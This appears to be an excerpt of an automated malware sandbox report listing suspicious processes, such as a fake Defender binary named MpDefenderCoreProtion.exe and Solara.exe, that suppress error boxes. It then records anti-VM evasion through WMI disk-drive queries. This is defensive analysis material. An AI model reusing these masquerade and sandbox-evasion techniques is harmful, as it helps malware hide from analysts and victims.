Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\Solara.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\Solara.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\Solara.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Windows\Defender\MpDefenderCoreProtion.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Windows\Defender\MpDefenderCoreProtion.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Windows\Defender\MpDefenderCoreProtion.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Windows\Defender\MpDefenderCoreProtion.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Windows\Defender\MpDefenderCoreProtion.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Windows\Defender\MpDefenderCoreProtion.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Windows\Defender\MpDefenderCoreProtion.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Windows\Defender\MpDefenderCoreProtion.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Windows\Defender\MpDefenderCoreProtion.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Windows\Defender\MpDefenderCoreProtion.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Windows\Defender\MpDefenderCoreProtion.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Windows\Defender\MpDefenderCoreProtion.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Windows\Defender\MpDefenderCoreProtion.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Windows\Defender\MpDefenderCoreProtion.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Windows\Defender\MpDefenderCoreProtion.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Windows\Defender\MpDefenderCoreProtion.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Windows\Defender\MpDefenderCoreProtion.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Windows\Defender\MpDefenderCoreProtion.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Windows\Defender\MpDefenderCoreProtion.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Windows\Defender\MpDefenderCoreProtion.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Windows\Defender\MpDefenderCoreProtion.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Windows\Defender\MpDefenderCoreProtion.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Windows\Defender\MpDefenderCoreProtion.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Windows\Defender\MpDefenderCoreProtion.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Windows\Defender\MpDefenderCoreProtion.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Windows\Defender\MpDefenderCoreProtion.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Windows\Defender\MpDefenderCoreProtion.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Windows\Defender\MpDefenderCoreProtion.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Windows\Defender\MpDefenderCoreProtion.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Windows\Defender\MpDefenderCoreProtion.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Windows\Defender\MpDefenderCoreProtion.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Windows\Defender\MpDefenderCoreProtion.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Windows\Defender\MpDefenderCoreProtion.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Windows\Defender\MpDefenderCoreProtion.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Windows\Defender\MpDefenderCoreProtion.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Windows\Defender\MpDefenderCoreProtion.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Windows\Defender\MpDefenderCoreProtion.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Windows\Defender\MpDefenderCoreProtion.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Windows\Defender\MpDefenderCoreProtion.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Windows\Defender\MpDefenderCoreProtion.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Windows\Defender\MpDefenderCoreProtion.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Windows\Defender\MpDefenderCoreProtion.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Windows\Defender\MpDefenderCoreProtion.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Windows\Defender\MpDefenderCoreProtion.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Windows\Defender\MpDefenderCoreProtion.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Windows\Defender\MpDefenderCoreProtion.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Windows\Defender\MpDefenderCoreProtion.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Windows\Defender\MpDefenderCoreProtion.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Windows\Defender\MpDefenderCoreProtion.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Windows\Defender\MpDefenderCoreProtion.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Windows\Defender\MpDefenderCoreProtion.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Windows\Defender\MpDefenderCoreProtion.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Windows\Defender\MpDefenderCoreProtion.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Windows\Defender\MpDefenderCoreProtion.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Windows\Defender\MpDefenderCoreProtion.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Windows\Defender\MpDefenderCoreProtion.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Windows\Defender\MpDefenderCoreProtion.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Windows\Defender\MpDefenderCoreProtion.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Windows\Defender\MpDefenderCoreProtion.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Windows\Defender\MpDefenderCoreProtion.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Windows\Defender\MpDefenderCoreProtion.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Windows\Defender\MpDefenderCoreProtion.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Windows\Defender\MpDefenderCoreProtion.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Windows\Defender\MpDefenderCoreProtion.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Windows\Defender\MpDefenderCoreProtion.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Windows\Defender\MpDefenderCoreProtion.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Windows\Defender\MpDefenderCoreProtion.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Windows\Defender\MpDefenderCoreProtion.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\Windows\Defender\MpDefenderCoreProtion.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\cmd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\runtimesvc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\runtimesvc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\runtimesvc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\runtimesvc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\runtimesvc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\runtimesvc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\runtimesvc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\runtimesvc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\runtimesvc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\runtimesvc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\runtimesvc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\runtimesvc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\runtimesvc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\runtimesvc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\runtimesvc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\runtimesvc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\runtimesvc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\runtimesvc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\runtimesvc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\runtimesvc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\runtimesvc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\runtimesvc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\runtimesvc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\runtimesvc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\runtimesvc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\runtimesvc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\runtimesvc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\runtimesvc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\runtimesvc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\runtimesvc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\runtimesvc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\runtimesvc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\runtimesvc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\runtimesvc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\runtimesvc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\runtimesvc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\runtimesvc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\runtimesvc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\runtimesvc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\runtimesvc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\runtimesvc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\runtimesvc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\runtimesvc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\runtimesvc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\runtimesvc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\runtimesvc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\runtimesvc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\runtimesvc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\runtimesvc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\runtimesvc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\runtimesvc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\runtimesvc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\runtimesvc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\runtimesvc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\runtimesvc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\runtimesvc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\runtimesvc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\cmd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\chainReviewdhcp\containerRuntime.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\chainReviewdhcp\containerRuntime.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\chainReviewdhcp\containerRuntime.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\chainReviewdhcp\containerRuntime.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\chainReviewdhcp\containerRuntime.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\chainReviewdhcp\containerRuntime.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\chainReviewdhcp\containerRuntime.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\chainReviewdhcp\containerRuntime.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\chainReviewdhcp\containerRuntime.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\chainReviewdhcp\containerRuntime.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\chainReviewdhcp\containerRuntime.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\chainReviewdhcp\containerRuntime.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\chainReviewdhcp\containerRuntime.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\chainReviewdhcp\containerRuntime.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\chainReviewdhcp\containerRuntime.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\chainReviewdhcp\containerRuntime.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\chainReviewdhcp\containerRuntime.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\chainReviewdhcp\containerRuntime.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\chainReviewdhcp\containerRuntime.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\chainReviewdhcp\containerRuntime.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\chainReviewdhcp\containerRuntime.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\chainReviewdhcp\containerRuntime.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\chainReviewdhcp\containerRuntime.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\chainReviewdhcp\containerRuntime.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\chainReviewdhcp\containerRuntime.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\chainReviewdhcp\containerRuntime.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\chainReviewdhcp\containerRuntime.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\chainReviewdhcp\containerRuntime.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\chainReviewdhcp\containerRuntime.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\chainReviewdhcp\containerRuntime.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\chainReviewdhcp\containerRuntime.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\chainReviewdhcp\containerRuntime.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\chainReviewdhcp\containerRuntime.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\chainReviewdhcp\containerRuntime.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\chainReviewdhcp\containerRuntime.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\chainReviewdhcp\containerRuntime.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\chainReviewdhcp\containerRuntime.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\chainReviewdhcp\containerRuntime.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\chainReviewdhcp\containerRuntime.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\chainReviewdhcp\containerRuntime.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\chainReviewdhcp\containerRuntime.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\chainReviewdhcp\containerRuntime.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\chainReviewdhcp\containerRuntime.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\chainReviewdhcp\containerRuntime.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\chainReviewdhcp\containerRuntime.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\chainReviewdhcp\containerRuntime.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\chainReviewdhcp\containerRuntime.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\chainReviewdhcp\containerRuntime.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\chainReviewdhcp\containerRuntime.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\wbem\WMIC.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\wbem\WMIC.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Yara detected AntiVM3

Source: Yara match

File source: Process Memory Space: MpDefenderCoreProtion.exe PID: 7932, type: MEMORYSTR

Queries sensitive disk information (via WMI, Win32_DiskDrive, often done to detect virtual machines)

Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\Solara.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT DeviceID, PNPDeviceID, Description, MediaType FROM Win32_DiskDrive
Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\Solara.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT DeviceID, PNPDeviceID, Description, MediaType FROM Win32_DiskDrive
Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\Solara.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT DeviceID, PNPDeviceID, Description, MediaType FROM Win32_DiskDrive
